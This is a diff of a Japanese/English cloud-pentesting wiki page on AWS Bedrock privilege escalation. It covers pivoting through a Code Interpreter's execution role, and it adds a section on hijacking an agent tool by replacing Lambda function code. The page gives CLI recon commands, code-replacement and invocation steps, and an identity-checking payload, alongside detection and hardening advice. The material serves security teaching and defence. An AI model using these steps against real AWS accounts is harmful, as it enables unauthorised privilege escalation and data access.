diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 6e32ea413..8e15537f1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter はマネージドされた実行環境です。**Custom Code Interpreters** は、コードインタプリタが AWS サービスにアクセスするための権限を提供する **`executionRoleArn`** を設定できます。 +AgentCore Code Interpreter は managed execution environment です。**Custom Code Interpreters** は **`executionRoleArn`** で設定でき、これは「code interpreter が AWS services にアクセスするための権限」を提供します。 -もし権限の低い**IAM プリンシパル**が、より高権限の **execution role** で構成された Code Interpreter セッションを**開始・呼び出し**できる場合、呼び出し元は実質的にその execution role の権限に**ピボット(アクセス移動)**することができます(ロールの範囲によっては横移動/権限昇格となります)。 +もし **低権限の IAM principal** が、より高権限の execution role で構成された Code Interpreter session を **start + invoke** できるなら、呼び出し元は実質的に **execution role の権限へ pivot** できます(role の範囲に応じて lateral movement / privilege escalation)。 > [!NOTE] -> これは通常、**ミスコンフィギュレーション/過剰な権限付与**の問題です(インタプリタの execution role に広範な権限を与えたり、呼び出し権限を広く付与したりする場合)。 -> AWS は、execution role に付与する権限を、呼び出しを許可された識別子の権限と同等かそれ以下にすることで、権限昇格を回避するよう明示的に警告しています。 +> これは通常、**misconfiguration / excessive permissions** の問題です(interpreter execution role に広すぎる権限を与える、または広範な invoke access を与える)。 +> AWS は明示的に、execution roles の権限を、invoke を許可された identities と **同等以下** にすることで privilege escalation を避けるよう警告しています。 -#### 前提条件(一般的なミスコンフィグ) +#### 前提条件(一般的な misconfiguration) -- **custom code interpreter** が、過剰な権限を持つ **execution role** として存在する(例: 機密性の高い S3/Secrets/SSM へのアクセス、または IAM 管理者に類する権限)。 -- ユーザ(developer/auditor/CI の識別子)が以下の権限を持っている: - - セッションを開始する: `bedrock-agentcore:StartCodeInterpreterSession` - - ツールを呼び出す: `bedrock-agentcore:InvokeCodeInterpreter` -- (オプション)ユーザがインタプリタを作成できる: `bedrock-agentcore:CreateCodeInterpreter`(組織のガードレールによっては、execution role を設定した新しいインタプリタを作成できる)。 +- **custom code interpreter** が存在し、過剰権限の **execution role** を持っている(例: 機密 S3/Secrets/SSM へのアクセスや IAM-admin のような権限)。 +- user(developer/auditor/CI identity)が以下の権限を持っている: +- sessions を start: `bedrock-agentcore:StartCodeInterpreterSession` +- tools を invoke: `bedrock-agentcore:InvokeCodeInterpreter` +- (任意)user は interpreter を create することもできる: `bedrock-agentcore:CreateCodeInterpreter`(org guardrails に応じて、execution role 付きの新しい interpreter を作成できる)。 -#### Recon (identify custom interpreters and execution role usage) +#### Recon(custom interpreters と execution role の使用状況を特定する) -インタプリタを一覧(control-plane)し、その設定を確認します: +interpreter(control-plane)を list し、その configuration を inspect する: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` -> create-code-interpreter コマンドは `--execution-role-arn` をサポートしており、インタプリタに付与される AWS の権限を定義します。 +``` +> `create-code-interpreter` コマンドは `--execution-role-arn` をサポートしており、これは interpreter が持つ AWS 権限を定義します。 -#### Step 1 - セッションを開始する(これは `sessionId` を返し、対話型シェルではありません) +#### Step 1 - セッションを開始する(これは `sessionId` を返し、interactive shell ではありません) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### ステップ2 - コード実行を呼び出す (Boto3 または 署名付き HTTPS) +#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) -`start-code-interpreter-session` からは **対話型の python シェルはありません**。実行は **InvokeCodeInterpreter** 経由で行われます。 +There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**. -**Option A - Boto3 の例 (Python を実行 + アイデンティティを検証):** +**Option A - Boto3 example (execute Python + verify identity):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -インタプリタが実行ロールで設定されている場合、`sts:GetCallerIdentity()` の出力はそのロールのアイデンティティ(低権限の呼び出し元ではなく)を反映し、pivot を示します。 +インタープリターが execution role で構成されている場合、`sts:GetCallerIdentity()` の出力はその role の identity(低権限の caller ではない)を反映し、pivot を示します。 -**Option B - 署名付き HTTPS コール (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,18 +87,86 @@ awscurl -X POST \ } }' ``` -#### 影響 +#### Impact -* **Lateral movement** — インタープリタの実行ロールが持つ AWS アクセス先へ横移動される可能性がある。 -* **Privilege escalation** — インタープリタの実行ロールが呼び出し元より高い権限を持つ場合に特権昇格が発生する可能性がある。 -* 検出が困難になる場合がある — CloudTrail data events がインタープリタの呼び出しに対して有効になっていないと、(設定によっては)呼び出しがデフォルトでログに記録されないことがある。 +* **Lateral movement** into whatever AWS access the interpreter execution role has. +* **Privilege escalation** if the interpreter execution role is more privileged than the caller. +* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration). #### Mitigations / Hardening -* **Least privilege** をインタープリタの `executionRoleArn` に適用する(Lambda execution roles / CI roles と同様に扱う)。 -* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) とセッションを開始できるユーザを制限する。 -* 承認された agent runtime roles を除き InvokeCodeInterpreter を拒否するために **SCPs** を使用する(組織レベルでの強制が必要になる場合がある)。 -* 適切な **CloudTrail data events** を AgentCore に対して有効にし、予期しない invocations やセッション作成に対してアラートを設定する。 +* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions. +* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary). +* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation. + +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**. + +> [!NOTE] +> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent. + +#### Preconditions (common misconfiguration) + +- A Bedrock Agent exists with an **action group backed by a Lambda function** +- The attacker has: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- The Lambda execution role has broader permissions than the attacker +- The attacker can identify the Lambda used by the agent + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Lambda を調査する: +```bash +aws lambda get-function --function-name +``` +#### Exploitation + +Lambda codeを置き換える: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Example payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +エージェント経由でトリガー: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` +#### 影響 + +* **Privilege escalation** into Lambda execution role +* AWS services からの **Data exfiltration** +* trusted agent execution を介した **Cross-service abuse** + +#### Mitigations + +* `lambda:UpdateFunctionCode` を **Restrict** +* **least-privilege** の Lambda roles を使用する +* Lambda の code changes を **Monitor** +* Bedrock agent の tool usage を **Audit** ## References @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}